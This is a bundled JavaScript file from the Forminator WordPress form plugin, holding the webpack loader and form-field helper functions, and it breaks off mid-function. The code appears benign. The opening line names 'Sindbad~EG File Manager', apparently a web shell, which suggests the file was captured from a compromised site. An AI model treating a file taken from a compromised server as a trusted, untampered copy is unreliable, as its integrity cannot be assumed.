Sindbad~EG File Manager
/******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId]) {
/******/ return installedModules[moduleId].exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ i: moduleId,
/******/ l: false,
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ // Flag the module as loaded
/******/ module.l = true;
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/******/
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/
/******/ // define getter function for harmony exports
/******/ __webpack_require__.d = function(exports, name, getter) {
/******/ if(!__webpack_require__.o(exports, name)) {
/******/ Object.defineProperty(exports, name, {
/******/ configurable: false,
/******/ enumerable: true,
/******/ get: getter
/******/ });
/******/ }
/******/ };
/******/
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/ __webpack_require__.n = function(module) {
/******/ var getter = module && module.__esModule ?
/******/ function getDefault() { return module['default']; } :
/******/ function getModuleExports() { return module; };
/******/ __webpack_require__.d(getter, 'a', getter);
/******/ return getter;
/******/ };
/******/
/******/ // Object.prototype.hasOwnProperty.call
/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
/******/
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "";
/******/
/******/ // Load entry module and return exports
/******/ return __webpack_require__(__webpack_require__.s = 807);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ (function(module, exports) {
module.exports = React;
/***/ }),
/* 1 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
exports.randNumber = randNumber;
exports.generateWrapperId = generateWrapperId;
exports.getWrapper = getWrapper;
exports.getDefaultValue = getDefaultValue;
exports.getThemePrefix = getThemePrefix;
exports.restrictedGroupFields = restrictedGroupFields;
exports.lonerFields = lonerFields;
exports.getSubmissionBehaviors = getSubmissionBehaviors;
exports.countFieldsByType = countFieldsByType;
exports.getMaxIDByType = getMaxIDByType;
exports.getMaxID = getMaxID;
exports.generateValue = generateValue;
exports.hasFieldType = hasFieldType;
exports.getFieldsByType = getFieldsByType;
exports.mapFieldsByType = mapFieldsByType;
exports.getFieldLabel = getFieldLabel;
exports.fieldExist = fieldExist;
exports.buildFieldObject = buildFieldObject;
exports.buildFieldObjectFromSlug = buildFieldObjectFromSlug;
exports.getFieldType = getFieldType;
exports.getForminatorField = getForminatorField;
exports.insertInPosition = insertInPosition;
exports.replaceInPosition = replaceInPosition;
exports.translate = translate;
exports.getFontVariants = getFontVariants;
exports.ucfirst = ucfirst;
exports.getConditionLabel = getConditionLabel;
exports.convertTimestamp = convertTimestamp;
exports.getFields = getFields;
exports.getDateFields = getDateFields;
exports.getNameFields = getNameFields;
exports.getRangeSliderFields = getRangeSliderFields;
exports.fieldHasNumber = fieldHasNumber;
exports.fieldHasCalcs = fieldHasCalcs;
exports.fieldFormula = fieldFormula;
exports.fieldHasOptions = fieldHasOptions;
exports.getFieldValues = getFieldValues;
exports.getAddressFields = getAddressFields;
exports.getTimeFields = getTimeFields;
exports.getFieldAutofillProviders = getFieldAutofillProviders;
exports.getRuleLabel = getRuleLabel;
exports.isEmailWp = isEmailWp;
exports.suiDelegateEvents = suiDelegateEvents;
exports.getChartType = getChartType;
exports.getCalculationFields = getCalculationFields;
exports.select2Tags = select2Tags;
exports.isFieldRequired = isFieldRequired;
exports.hasFieldWithAttribute = hasFieldWithAttribute;
exports.hasPostdataFieldWithMultiselect = hasPostdataFieldWithMultiselect;
exports.getPersonalityQuestions = getPersonalityQuestions;
exports.getPlanValidation = getPlanValidation;
exports.isTrue = isTrue;
exports.parseQueryString = parseQueryString;
exports.goToLink = goToLink;
var _i18nWpPlugin = __webpack_require__(52);
var _i18nWpPlugin2 = _interopRequireDefault(_i18nWpPlugin);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _toConsumableArray(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } else { return Array.from(arr); } }
/**
* Returns unique 4 digit number
*
* @return {number}
**/
function randNumber() {
//return Math.floor( Math.random() * 9999 );
var min = Math.ceil(1000);
var max = Math.floor(9999);
return Math.floor(Math.random() * (max - min) + min);
}
/**
* Returns wrapper uniq ID
*
* @return {string}
**/
function generateWrapperId() {
return 'wrapper-' + randNumber() + '-' + randNumber();
}
/**
* Returns wrapper object by wrapper ID
*
* @param {string} wrapperID ID of the wrapper
* @param {array} wrappers current wrappers
*
* @return {string}
**/
function getWrapper(wrapperID, wrappers) {
var wrapperObject = void 0;
wrappers.map(function (wrapper) {
if (wrapper.wrapper_id === wrapperID) {
wrapperObject = wrapper;
}
});
return wrapperObject;
}
/**
* Return passed default value or empty if it's Basic theme
*
* @param {String} getDefaultValue Default value
* @param {String} formDesign Property
* @return {String}
*/
function getDefaultValue(props, getDefaultValue) {
return getThemeName(props) !== 'basic' ? getDefaultValue : '';
}
/**
* Get prefix for properties if it's Basic theme
*
* @param {type} formDesign Property
* @return {String}
*/
function getThemePrefix(props) {
return getThemeName(props) === 'basic' ? 'basic-' : '';
}
/**
* Get design theme name
*
* @param {type} propsProperties
* @return {String}
*/
function getThemeName(props) {
if ("undefined" !== typeof props.formDesign) {
return props.formDesign;
}
if ("undefined" !== typeof props.settings && "undefined" !== typeof props.settings['forminator-poll-design']) return props.settings['forminator-poll-design'];
if ("undefined" !== typeof props.quizDesign) return props.quizDesign;
return '';
}
/**
* Returns all field types disabled inside Group Fields
*
* @return {array}
*/
function restrictedGroupFields() {
return ['page-break', 'paypal', 'stripe', 'signature', 'captcha', 'postdata', 'group'];
}
/**
* Returns all field types that should only occupy a single row. ;(
* Field can only be added for new/unreleased field types.
*
* @return {array}
*/
function lonerFields() {
return ['pdf-page-break', 'all-form-data'];
}
/**
* Returns all behavior types
*
* @return {object}
*/
function getSubmissionBehaviors() {
return {
'behaviour-thankyou': translate('Inline Message'),
'behaviour-redirect': translate('Redirect user to a URL'),
'behaviour-hide': translate('Hide form')
};
}
/**
* Returns count of existing fields by type
*
* @param {string} type type of field
* @param {array} wrappers current wrappers
*
* @return {number}
**/
function countFieldsByType(type, wrappers) {
var counter = 0;
wrappers.map(function (wrapper) {
wrapper.fields.map(function (field) {
if (field.type === type) {
counter++;
}
});
});
return counter;
}
/**
* Returns max ID number by type
*
* @param {string} type type of field
* @param {array} wrappers current wrappers
*
* @return {number}
**/
function getMaxIDByType(type, wrappers) {
var fieldIDs = [];
wrappers.map(function (wrapper) {
wrapper.fields.map(function (field) {
if (field.type === type) {
var fieldId = field.element_id;
var fieldIdArray = fieldId.split('-');
switch (field.type) {
case 'page-break':
case 'rich-text':
fieldIDs.push(parseInt(fieldIdArray[2]));
break;
case 'all-form-data':
case 'pdf-page-break':
fieldIDs.push(parseInt(fieldIdArray[3]));
break;
default:
fieldIDs.push(parseInt(fieldIdArray[1]));
break;
}
}
});
});
var maxValue = 0;
if (!_.isEmpty(fieldIDs)) {
maxValue = _.max(fieldIDs);
}
return parseInt(maxValue) + 1;
}
function getMaxID(type, values) {
var ids = [];
_.map(values, function (value) {
var fieldId = value.element_id;
var fieldIdArray = fieldId.split('-');
ids.push(parseInt(fieldIdArray[1]));
});
var maxValue = 0;
if (!_.isEmpty(ids)) {
maxValue = _.max(ids);
}
return parseInt(maxValue) + 1;
}
/**
* Returns Label converted to value
*
* @param {string} value entered label
*
* @return {string}
**/
function generateValue(value) {
value = value.trim().replace(/\s+|\//g, '-');
return value;
}
/**
* Return true if it's Global Appearance Preset
*
* @param {array} wrappers current wrappers
* @return {Boolean}
*/
function isGlobalPreset(wrappers) {
return null === wrappers;
}
/**
* Returns true if field exist
*
* @param {string} type type of field
* @param {array} wrappers current wrappers
*
* @return {bool}
**/
function hasFieldType(type, wrappers) {
var counter = 0;
if (isGlobalPreset(wrappers)) {
return true;
}
wrappers.map(function (wrapper) {
wrapper.fields.map(function (field) {
if (field.type === type) {
counter++;
}
});
});
return counter > 0;
}
/**
* Returns array of fields by type
*
* @param {string} type type of field
* @param {array} wrappers current wrappers
*
* @return {array}
**/
function getFieldsByType(type, wrappers) {
var fields = [];
wrappers.map(function (wrapper) {
wrapper.fields.map(function (field) {
if (field.type === type) {
fields.push(field);
}
});
});
return fields;
}
/**
* Returns array of fields by type mapped for select field
*
* @param {string} type type of field
* @param {array} wrappers current wrappers
*
* @return {array}
**/
function mapFieldsByType(type, wrappers) {
var fields = [];
var fieldsByType = getFieldsByType(type, wrappers);
fieldsByType.map(function (field) {
var label = field.field_label;
if (type === 'address') {
label = field.element_id;
}
fields.push({
value: field.element_id,
label: label,
element_id: field.element_id
});
});
return fields;
}
/**
* Returns field label by ID
*
* @param {string} id field ID
* @param {array} wrappers current wrappers
*
* @return {string}
**/
function getFieldLabel(id, wrappers) {
var label = '';
wrappers.map(function (wrapper) {
wrapper.fields.map(function (field) {
if (field.element_id === id) {
label = field.field_label;
}
});
});
return label;
}
/**
* Returns true or false if field exist
*
* @param {string} id field ID
* @param {array} wrappers current wrappers
*
* @return {bool}
**/
function fieldExist(id, wrappers) {
var exist = 0;
wrappers.map(function (wrapper) {
wrapper.fields.map(function (field) {
if (field.element_id === id) {
exist++;
}
});
});
return exist > 0;
}
/**
* Returns field object with defaults from slug
*
* @param {object} field field
* @param {string} wrapperID wrapper id
* @param {number} cols columns
* @param {array} wrappers wrappers
* @param {array} tempNewFields New Siblings Fields that aren't included in wrappers yet
*
* @return {object}
**/
function buildFieldObject(field, wrapperID, cols, wrappers, tempNewFields) {
tempNewFields = tempNewFields || [];
var wraps = [].concat(_toConsumableArray(wrappers), [{ fields: tempNewFields }]);
var fieldNumber = getMaxIDByType(field.type, wraps);
return _.extend(field, {
element_id: field.type + '-' + fieldNumber,
formID: wrapperID,
cols: cols
});
}
/**
* Returns field object with defaults from slug
*
* @param {string} slug field slug
* @param {array} wrappers wrappers
* @param {string} wrapepr ID
*
* @return {object}
**/
function buildFieldObjectFromSlug(slug, wrappers, wrapperID) {
var field = forminatorData.fields.find(function (fieldData) {
return fieldData.slug === slug;
});
var fieldNumber = getMaxIDByType(field.type, wrappers);
var props = {
element_id: field.type + '-' + fieldNumber,
type: field.type,
options: field.options,
cols: 12,
conditions: {},
wrapper_id: wrapperID
};
if (_.contains(['calculation', 'number', 'slider', 'radio', 'currency', 'select', 'checkbox'], field.type)) {
props['hidden_behavior'] = 'zero';
}
return _.extend(props, JSON.parse(JSON.stringify(field.defaults)));
}
/**
* Returns field type by field object
*
* @param {object} field field
*
* @return {string}
**/
function getFieldType(field) {
var type = field.type;
return type;
}
/**
* Returns forminatorData.fields(PHP) from field object from builder
*
* Comparing `type`
*
* @param {object} field field
*
* @return {object}
**/
function getForminatorField(field) {
return forminatorData.fields.find(function (forminatorField) {
return forminatorField.type === field.type;
});
}
/**
* Insert item into array in specific position
*
* @param {array} array array
* @param {number} position position
* @param {any} replacement replacement
*
* @return {array} array
*/
function insertInPosition(array, position, replacement) {
return [].concat(_toConsumableArray(array.slice(0, position)), [replacement], _toConsumableArray(array.slice(position)));
}
/**
* Replace item in array in specific position
*
* @param {array} array array
* @param {number} position position
* @param {any} replacement replacement
*
* @return {array} array
*/
function replaceInPosition(array, position, replacement) {
return [].concat(_toConsumableArray(array.slice(0, position)), [replacement], _toConsumableArray(array.slice(position + 1)));
}
/**
* Translate string
*
* @see i18n.translate
*
* @return {string} translated string
*/
function translate() {
return _i18nWpPlugin2.default.translate.apply(null, arguments);
}
/**
* Returns variants for selected font
*
* @param {string} value font
* @param {array} fonts fonts
* @return {array}
**/
function getFontVariants(value, fonts) {
var fontObject = _.filter(fonts, function (font) {
return font.family === value;
});
if (!_.isUndefined(fontObject[0]) && !_.isUndefined(fontObject[0].variants)) {
return fontObject[0].variants;
}
return [translate('None')];
}
/**
* Capitalize string
*
* @param {string} value value
* @returns {string}
**/
function ucfirst(value) {
return value.charAt(0).toUpperCase() + value.slice(1);
}
/**
* Get condition label
*
* @returns {string}
*/
function getConditionLabel(field, condition) {
var value = condition.value;
var valueLabel = void 0;
// If option field and have values, we need the option updateValue
// Else return the field value
if (field.hasOptions && field.values.length > 0) {
var label = void 0;
// Check in values
label = _.where(field.values, { value: value })[0];
// If label is not set, check in labels
if (!label) {
label = _.where(field.values, { label: value })[0];
}
// If label is still not found, return
if (!label) {
return;
}
valueLabel = label.label;
} else if ('date' === field.field_type && ['is_before', 'is_after'].includes(condition.rule)) {
// Get formatted date string
valueLabel = convertTimestamp(value);
} else {
valueLabel = value;
}
// If label empty, return null
if (_.isEmpty(valueLabel)) {
return translate('null');
}
return valueLabel;
}
/*
* Convert date from timestamp
*/
function convertTimestamp(value) {
if (!isNaN(Number(value))) {
// Convert timestamp to Date object
var date = new Date(value * 1);
// Options for formatting the date
var options = { day: 'numeric', month: 'numeric', year: 'numeric' };
// Get the formatted date string
value = date.toLocaleDateString('en-US', options);
}
return value;
}
/*
* Returns builder fields from wrappers
*/
function getFields(wrappers, disabledFields, extra, includedFields, excludeSubFields) {
var fieldsArray = [];
if (_.isUndefined(disabledFields)) {
disabledFields = ['page-break', 'postdata', 'total', 'product', 'captcha'];
}
if (Array.isArray(disabledFields) && !isTrue(excludeSubFields)) {
disabledFields.push('group');
}
var main_date_field = false;
if (!_.isUndefined(extra) && !_.isUndefined(extra.main_date_field) && extra.main_date_field === true) {
main_date_field = true;
}
// Loop all wrappers we have
wrappers.map(function (wrapper) {
var fields = wrapper.fields,
parentGroup = wrapper.parent_group;
fields.map(function (field) {
// Check if field is included
if (!_.isUndefined(includedFields)) {
if (!_.contains(includedFields, field.type)) {
return;
}
} else if (_.contains(disabledFields, field.type)) {
// Check if field is disabled
return;
}
var label = void 0;
// Get field label
if (!_.isUndefined(field.field_label) && !_.isEmpty(field.field_label)) {
label = field.field_label;
} else {
label = field.type;
label = ucfirst(label);
}
// If field is name, get all existing sub fields
if (field.type === 'name' && !isTrue(excludeSubFields)) {
fieldsArray = fieldsArray.concat(getNameFields(field, label, parentGroup));
} else if (field.type === 'address' && !isTrue(excludeSubFields)) {
fieldsArray = fieldsArray.concat(getAddressFields(field, label, parentGroup));
} else if (field.type === 'slider' && field.slider_type === 'range') {
fieldsArray = fieldsArray.concat(getRangeSliderFields(field, label, parentGroup));
} else if (field.type === 'time' && !isTrue(excludeSubFields)) {
fieldsArray = fieldsArray.concat(getTimeFields(field, label, parentGroup));
} else if (field.type === 'date' && field.field_type !== 'picker' && main_date_field === false) {
//skip now
} else {
fieldsArray.push({
element_id: field.element_id,
parent_group: parentGroup,
required: field.required,
field_type: field.type,
field_slug: field.type,
label: label,
values: getFieldValues(field),
hasOptions: fieldHasOptions(field),
hasCalcs: fieldHasCalcs(field),
formula: fieldFormula(field),
isNumber: fieldHasNumber(field),
fieldData: field
});
}
if (field.type === 'date' && field.field_type !== 'picker' && !isTrue(excludeSubFields)) {
fieldsArray = fieldsArray.concat(getDateFields(field, label, parentGroup));
}
});
});
return fieldsArray;
}
/**
* Get name_fields (support dropdown & input date fields)
* @param {object} field field to parse
* @param {string} fieldLabel parent label
* @returns {Array}
**/
function getDateFields(field, fieldLabel, parentGroup) {
var fieldsArray = [];
var day_label = void 0;
if (!_.isUndefined(field.day_label) && !_.isEmpty(field.day_label)) {
day_label = fieldLabel + ' - ' + field.day_label;
} else {
day_label = fieldLabel + ' - ' + translate('Day');
}
var month_label = void 0;
if (!_.isUndefined(field.month_label) && !_.isEmpty(field.month_label)) {
month_label = fieldLabel + ' - ' + field.month_label;
} else {
month_label = fieldLabel + ' - ' + translate('Month');
}
var year_label = void 0;
if (!_.isUndefined(field.year_label) && !_.isEmpty(field.year_label)) {
year_label = fieldLabel + ' - ' + field.year_label;
} else {
year_label = fieldLabel + ' - ' + translate('Year');
}
if (field.field_type === 'input') {
fieldsArray.push({
element_id: field.element_id + '-day',
parent_group: parentGroup,
required: field.required,
field_type: field.type,
field_slug: field.type + '-day',
label: day_label,
values: false,
hasOptions: false,
isNumber: true
}, {
element_id: field.element_id + '-month',
parent_group: parentGroup,
required: field.required,
field_type: field.type,
field_slug: field.type + '-month',
label: month_label,
values: false,
hasOptions: false,
isNumber: true
}, {
element_id: field.element_id + '-year',
parent_group: parentGroup,
required: field.required,
field_type: field.type,
field_slug: field.type + '-year',
label: year_label,
values: false,
hasOptions: false,
isNumber: true
});
} else {
fieldsArray.push({
element_id: field.element_id + '-day',
parent_group: parentGroup,
required: field.required,
field_type: field.type,
field_slug: field.type + '-day',
label: day_label,
values: getFieldValues(field),
hasOptions: fieldHasOptions(field),
isNumber: fieldHasNumber(field)
}, {
element_id: field.element_id + '-month',
parent_group: parentGroup,
required: field.required,
field_type: field.type,
field_slug: field.type + '-month',
label: month_label,
values: getFieldValues(field),
hasOptions: fieldHasOptions(field),
isNumber: fieldHasNumber(field)
}, {
element_id: field.element_id + '-year',
parent_group: parentGroup,
required: field.required,
field_type: field.type,
field_slug: field.type + '-year',
label: year_label,
values: getFieldValues(field),
hasOptions: fieldHasOptions(field),
isNumber: fieldHasNumber(field)
});
}
return fieldsArray;
}
/**
* Get name_fields (support multiple name fields)
* @param {object} field field to parse
* @param {string} fieldLabel parent label
* @returns {Array}
**/
function getNameFields(field, fieldLabel, parentGroup) {
var fieldsArray = [];
//handle multiple name
if (field.multiple_name === 'true' || true === field.multiple_name) {
[{
attr: 'prefix',
label: 'prefix_label',
element_suffix: 'prefix',
hasOptions: true,
values: [{ label: 'Mr.', value: 'Mr' }, { label: 'Mrs.', value: 'Mrs' }, { label: 'Ms.', value: 'Ms' }, { label: 'Mx.', value: 'Mx' }, { label: 'Miss', value: 'Miss' }, { label: 'Dr.', value: 'Dr' }, { label: 'Prof.', value: 'Prof' }],
isNumber: false
}, {
attr: 'fname',
label: 'fname_label',
element_suffix: 'first-name',
hasOptions: false,
values: false,
isNumber: false
}, {
attr: 'mname',
label: 'mname_label',
element_suffix: 'middle-name',
hasOptions: false,
values: false,
isNumber: false
}, {
attr: 'lname',
label: 'lname_label',
element_suffix: 'last-name',
hasOptions: false,
values: false,
isNumber: false
}].map(function (attribute) {
if (field[attribute.attr] === 'true' || field[attribute.attr] === true) {
var label = void 0;
if (!_.isUndefined(field[attribute.label]) && !_.isEmpty(field[attribute.label])) {
label = fieldLabel + ' - ' + field[attribute.label];
} else {
label = fieldLabel + ' - ';
}
fieldsArray.push({
element_id: field.element_id + '-' + attribute.element_suffix,
parent_group: parentGroup,
required: field.required,
field_type: field.type,
field_slug: field.type + '-' + attribute.element_suffix,
label: label,
values: attribute.values,
hasOptions: attribute.hasOptions,
isNumber: attribute.isNumber
});
}
});
} else {
fieldsArray.push({
element_id: field.element_id,
parent_group: parentGroup,
required: field.required,
field_type: field.type,
field_slug: field.type,
label: fieldLabel,
values: getFieldValues(field),
hasOptions: fieldHasOptions(field),
isNumber: fieldHasNumber(field)
});
}
return fieldsArray;
}
/**
* Get Range Slider fields
* @param {object} field field to parse
* @param {string} fieldLabel parent label
* @returns {Array}
**/
function getRangeSliderFields(field, fieldLabel, parentGroup) {
var fieldsArray = [];
[{
suffix: 'min'
}, {
suffix: 'max'
}].map(function (attribute) {
fieldsArray.push({
element_id: field.element_id + '-' + attribute.suffix,
parent_group: parentGroup,
required: field.required,
field_type: field.type,
field_slug: field.type + '-' + attribute.suffix,
label: fieldLabel + ' - ' + attribute.suffix,
isNumber: true,
hasCalcs: fieldHasCalcs(field)
});
});
return fieldsArray;
}
/*
* Returns if field has number
*/
function fieldHasNumber(field) {
if (_.contains(['calculation', 'number', 'slider', 'phone', 'currency'], field.type)) {
return true;
}
return false;
}
/*
* Returns if field has calculations enabled
*/
function fieldHasCalcs(field) {
if (field.calculations === 'true' || field.calculations === true) {
return true;
}
return false;
}
function fieldFormula(field) {
if (field.formula) {
return field.formula;
}
return false;
}
/*
* Returns if field has options
*/
function fieldHasOptions(field) {
if (field.type === 'select' || field.type === 'checkbox' || field.type === 'radio') {
return true;
}
return false;
}
/*
* Returns field values
*/
function getFieldValues(field) {
var type = field.type;
if (type === 'select' || type === 'checkbox' || type === 'radio') {
return field.options;
}
return false;
}
/**
* Get address_fields (support multi sub fields)
* @param {object} field field
* @param {string} fieldLabel lbel
* @returns {array}
**/
function getAddressFields(field, fieldLabel, parentGroup) {
var fieldsArray = [];
[{
attr: 'street_address',
label: 'street_address_label',
element_suffix: 'street_address',
hasOptions: false,
values: false,
isNumber: false
}, {
attr: 'address_line',
label: 'address_line_label',
element_suffix: 'address_line',
hasOptions: false,
values: false,
isNumber: false
}, {
attr: 'address_city',
label: 'address_city_label',
element_suffix: 'city',
hasOptions: false,
values: false,
isNumber: false
}, {
attr: 'address_state',
label: 'address_state_label',
element_suffix: 'state',
hasOptions: false,
values: false,
isNumber: false
}, {
attr: 'address_zip',
label: 'address_zip_label',
element_suffix: 'zip',
hasOptions: false,
values: false,
isNumber: false
}, {
attr: 'address_country',
label: 'address_country_label',
element_suffix: 'country',
hasOptions: false,
values: false,
isNumber: false
}].map(function (attribute) {
if (isTrue(field[attribute.attr])) {
var label = void 0;
if (!_.isUndefined(field[attribute.label]) && !_.isEmpty(field[attribute.label])) {
label = fieldLabel + ' - ' + field[attribute.label];
} else {
label = fieldLabel + ' - ';
}
fieldsArray.push({
element_id: field.element_id + '-' + attribute.element_suffix,
parent_group: parentGroup,
required: field.required,
field_type: field.type,
field_slug: field.type + '-' + attribute.element_suffix,
label: label,
values: attribute.values,
hasOptions: attribute.hasOptions,
isNumber: attribute.isNumber
});
}
});
return fieldsArray;
}
/**
* Get time_fields (support multi sub fields)
* @param {object} field field
* @param {string} fieldLabel label
* @returns {array}
**/
function getTimeFields(field, fieldLabel, parentGroup) {
var fieldsArray = [];
var hh_label = void 0;
if (!_.isUndefined(field.hh_label) && !_.isEmpty(field.hh_label)) {
hh_label = fieldLabel + ' - ' + field.hh_label;
} else {
hh_label = fieldLabel + ' - ' + translate('Hour');
}
var mm_label = void 0;
if (!_.isUndefined(field.mm_label) && !_.isEmpty(field.mm_label)) {
mm_label = fieldLabel + ' - ' + field.mm_label;
} else {
mm_label = fieldLabel + ' - ' + translate('Minute');
}
fieldsArray.push({
element_id: field.element_id + '-hours',
parent_group: parentGroup,
required: field.required,
field_type: field.type,
field_slug: field.type + '-hours',
label: hh_label,
values: false,
hasOptions: false,
isNumber: true
}, {
element_id: field.element_id + '-minutes',
parent_group: parentGroup,
required: field.required,
field_type: field.type,
field_slug: field.type + '-minutes',
label: mm_label,
values: false,
hasOptions: false,
isNumber: true
});
if (field.time_type === 'twelve') {
fieldsArray.push({
element_id: field.element_id + '-ampm',
parent_group: parentGroup,
required: field.required,
field_type: field.type,
field_slug: field.type + '-ampm',
label: fieldLabel + '-AM/PM',
values: [{ label: 'AM', value: 'am' }, { label: 'PM', value: 'pm' }],
hasOptions: true,
isNumber: false
});
}
return fieldsArray;
}
/**
*
* @param {string} fieldType fieldType
* @returns {array}
**/
function getFieldAutofillProviders(fieldType) {
var autofillProviders = [];
var fieldSettings = forminatorData.fields.filter(function (field) {
return field.type === fieldType;
});
if (fieldSettings.length < 1) {
return [];
}
fieldSettings = fieldSettings[0];
if (!_.isUndefined(fieldSettings.autofill_settings)) {
autofillProviders = fieldSettings.autofill_settings;
}
return autofillProviders;
}
/**
* Returns label by rule value
*
* @param {string} rule rule
* @param {string} type type
* @param {mix} type value ( optional )
* @returns {string}
**/
function getRuleLabel(rule, type, value) {
var val = !_.isUndefined(value) ? value : '';
switch (rule) {
case 'is':
return translate('is');
case 'is_not':
return translate('is not');
case 'day_is':
return translate('day is');
case 'day_is_not':
return translate('day is not');
case 'month_is_not':
return translate('month is not');
case 'month_is':
return translate('month is');
case 'is_before':
return translate('is before');
case 'is_after':
return translate('is after');
case 'is_before_n_or_more_days':
return translate('is before %s or more days from current date').replace('%s', val);
case 'is_before_less_than_n_days':
return translate('is before less than %s days from current date').replace('%s', val);
case 'is_after_n_or_more_days':
return translate('is after %s or more days from current date').replace('%s', val);
case 'is_after_less_than_n_days':
return translate('is after less than %s days from current date').replace('%s', val);
case 'is_great':
return translate('is greater than');
case 'is_less':
return translate('is less than');
case 'contains':
return translate('contains');
case 'starts':
return translate('starts with');
case 'ends':
return translate('ends with');
case 'is_correct':
return translate('is correct');
case 'is_incorrect':
return translate('is incorrect');
// Personality quiz rules.
case 'is_final_result':
return translate('is final result');
case 'is_not_final_result':
return translate('is not final result');
default:
return '-';
}
}
/**
* Return if value is valid email wp
*
* @param {string} value value to check
* @returns {bool}
**/
function isEmailWp(value) {
if (value.length < 6) {
return false;
}
// Test for an @ character after the first position
if (value.indexOf('@', 1) < 0) {
return false;
}
// Split out the local and domain parts
var parts = value.split('@', 2);
// LOCAL PART
// Test for invalid characters
if (!parts[0].match(/^[a-zA-Z0-9!#$%&'*+\/=?^_`{|}~\.-]+$/)) {
return false;
}
// DOMAIN PART
// Test for sequences of periods
if (parts[1].match(/\.{2,}/)) {
return false;
}
var domain = parts[1];
// Split the domain into subs
var subs = domain.split('.');
if (subs.length < 2) {
return false;
}
var subsLen = subs.length;
for (var i = 0; i < subsLen; i++) {
// Test for invalid characters
if (!subs[i].match(/^[a-z0-9-]+$/i)) {
return false;
}
}
return true;
}
/**
* Display SUI JS Elements
**/
function suiDelegateEvents() {
if ('object' !== _typeof(window.SUI)) {
return;
}
// Time it out
setTimeout(function () {
// Rebind Accordion scripts
SUI.suiAccordion(jQuery('.sui-accordion'));
// Rebind Tabs scripts
SUI.suiTabs(jQuery('.sui-tabs'));
// Rebind Select2 scripts.
jQuery('select.sui-select[data-theme="icon"]').each(function () {
SUI.select.initIcon(jQuery(this));
});
jQuery('select.sui-select[data-theme="color"]').each(function () {
SUI.select.initColor(jQuery(this));
});
jQuery('select.sui-select[data-theme="search"]').each(function () {
SUI.select.initSearch(jQuery(this));
});
jQuery('select.sui-select:not([data-theme]):not(.custom-select2):not(.fui-multi-select)').each(function () {
SUI.select.init(jQuery(this));
});
// Rebind Variables scripts.
jQuery('select.sui-variables').each(function () {
SUI.select.initVars(jQuery(this));
});
// Rebind Circle scripts
SUI.loadCircleScore(jQuery('.sui-circle-score'));
// Rebind Password scripts
SUI.showHidePassword();
}, 50);
}
/**
* Returns chart type from settings
*
* @param {array} settings Settings array
*
* @return {string} Chart type
*/
function getChartType(settings) {
var type = 'none';
if (_typeof(settings['results-behav']) && _typeof(settings['results-style'])) {
if (settings['results-behav'] === 'link_on' || settings['results-behav'] === 'show_after') {
type = settings['results-style'];
}
}
return type;
}
/**
* Returns array of calculation fields
*
* @param {array} wrappers current wrappers
*
* @return {array}
**/
function getCalculationFields(wrappers) {
var disabled = [];
// Push disabled fields
_.each(forminatorData.fields, function (field) {
if (field.type !== 'calculation') {
disabled.push(field.type);
}
});
return getFields(wrappers, disabled);
}
/**
* Display Select2 with multiple tags
*
* @param {jQuery} $el jQuery wrapper el to find
* @param {object} options Select2 options
**/
function select2Tags($el, options) {
options = _.defaults(options, {
allowClear: true,
dropdownCssClass: 'sui-select-dropdown'
});
// SELECT2 forminator-ui-tags
$el.find('select.sui-select.fui-multi-select').each(function () {
// reorder-support, it will preserve order based on user tags added
if (jQuery(this).attr('data-reorder')) {
jQuery(this).on('select2:select', function (e) {
var elm = e.params.data.element,
$elm = jQuery(elm),
$t = jQuery(this);
$t.append($elm);
$t.trigger('change.select2');
});
}
jQuery(this).SUIselect2(options);
});
}
/**
* Returns if field is required
*
* @param {object} field field
*
* @return {bool}
**/
function isFieldRequired(field) {
// Handle name field sub fields
if (field.type === 'name') {
if (field.multiple_name === 'true' || field.multiple_name === true) {
// We have multi field
if (field['prefix_required'] || field['fname_required'] || field['mname_required'] || field['lname_required']) {
return true;
} else {
return false;
}
}
}
// Handle name field sub fields
if (field.type === 'address') {
if (field['street_address_required'] || field['address_line_required'] || field['address_city_required'] || field['address_state_required'] || field['address_zip_required'] || field['address_country_required']) {
return true;
} else {
return false;
}
}
// Fallback to default required prop
return field.required;
}
/*
* Returns if form has a field with requested attribute and the requested value
*/
function hasFieldWithAttribute(wrappers, type, attribute, value) {
var counter = 0;
if (isGlobalPreset(wrappers)) {
return true;
}
wrappers.map(function (wrapper) {
wrapper.fields.map(function (field) {
if (type === field.type && value === field[attribute]) {
counter++;
}
});
});
return counter > 0;
}
/*
* Returns if form has a field with multiple category
*/
function hasPostdataFieldWithMultiselect(wrappers) {
var counter = 0;
if (isGlobalPreset(wrappers)) {
return true;
}
wrappers.map(function (wrapper) {
wrapper.fields.map(function (field) {
var post_category = forminatorData.postCategories[field.post_type];
if (typeof post_category !== 'undefined') {
post_category.map(function (category) {
var category_key = category.value + '_multiple';
if (1 === parseInt(field[category_key])) {
counter++;
}
});
}
});
});
return counter > 0;
}
/**
* Returns array of personality questions
*
* @param {array}
*
* @return {array}
**/
function getPersonalityQuestions(currentPersonality, questions) {
var personalitySlug = currentPersonality.slug;
var questionsArray = [];
if (!_.isEmpty(questions)) {
_.each(questions, function (question, keyQuestion) {
if (!_.isEmpty(question.answers)) {
_.each(question.answers, function (answer, keyAnswer) {
if (answer.result === personalitySlug) {
questionsArray.push({
title: question.title,
